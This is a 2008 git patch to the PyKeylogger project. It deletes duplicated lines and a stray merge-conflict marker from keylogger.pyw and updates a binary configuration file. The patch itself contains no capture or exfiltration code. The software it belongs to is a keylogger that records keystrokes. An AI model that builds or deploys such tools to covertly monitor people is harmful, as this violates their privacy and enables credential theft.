From b9ab12cdb65b798cfeee76d159b3b725661cbad7 Mon Sep 17 00:00:00 2001
From: nanotube <nanotube>
Date: Wed, 19 Mar 2008 22:31:42 +0000
Subject: [PATCH] fix some weird cruft from the branch merge

---
 keylogger.pyw   |   8 --------
 pykeylogger.ini | Bin 8306 -> 9354 bytes
 2 files changed, 8 deletions(-)

diff --git a/keylogger.pyw b/keylogger.pyw
index 1f96377..16ce56a 100644
--- a/keylogger.pyw
+++ b/keylogger.pyw
@@ -349,11 +349,3 @@ if __name__ == '__main__':
     kl.start()
     
     #if you want to change keylogger behavior from defaults, modify the .ini file. Also try '-h' for list of command line options.
-    =======
-    
-    kl = KeyLogger()
-    kl.start()
-        
-    #if you want to change keylogger behavior from defaults, modify the .ini file. Also try '-h' for list of command line options.
-    
->>>>>>> 1.29.2.14
diff --git a/pykeylogger.ini b/pykeylogger.ini
index 7e6345d6c65dae7d95488798a1453ded37d8ca63..e167fee2692b010698b4c8ae9b3d50b9615428f0 100644
GIT binary patch
delta 1064
zcmb`F!HU#C5Qgu0iXS}e3@kwpUW5T*U35Vf!2u8Ap(d#$#dNwtcgHbaa`$O`HlM)m
zPF9y?Kw0(@()`u+SABo~di~?(r^8%)zUirDT+t9l$6t!#8ES55G~pHYZscNBaAl-A
zdhAtAkO4bfTRIp<=or;<8`^*{kPAWvzH-dgcN#ze{FU8=UPm9xQ>zmDPG*m0v{ewb
zWF$;z9UVN#f*e!)=xFO~vD_R~Y+#3zgl=t_n_=VSJEzITa=plDu#?oWkYbOHrR@Sd
zhak4~5F6Vj|A8!<ZHdewT04dh>SC8%!nlw`$X~#Zhguw0QJvDN$)KlL^<G=Nxl=CF
zy$`o<(WvX=;v0>1ZasNa+DCtQRl6;V`2pSC!u);+FJ3->n8ByK)!!sO4qQny<$;!s
zH*tnRzOnJ!<eZf?q_|g3JhPqe!>vZ=)umiwM5?Y9OM(5LRhR5?5$e&UH4=g)fW$4I
zI0v-i$yOz9H6%6CNF|0`8;PXfImbNdh!feU>fKYi%yJ)dKrQ|VKTwrgh>w{XgFr_v
n&vV%!A^Qiycgu5_&qG`v%l}e*JjD4)C_Ww{&QM&@EEs<SdN+7u

delta 7
OcmeD3{N%8qNC5y2Q3FT-

-- 
2.45.1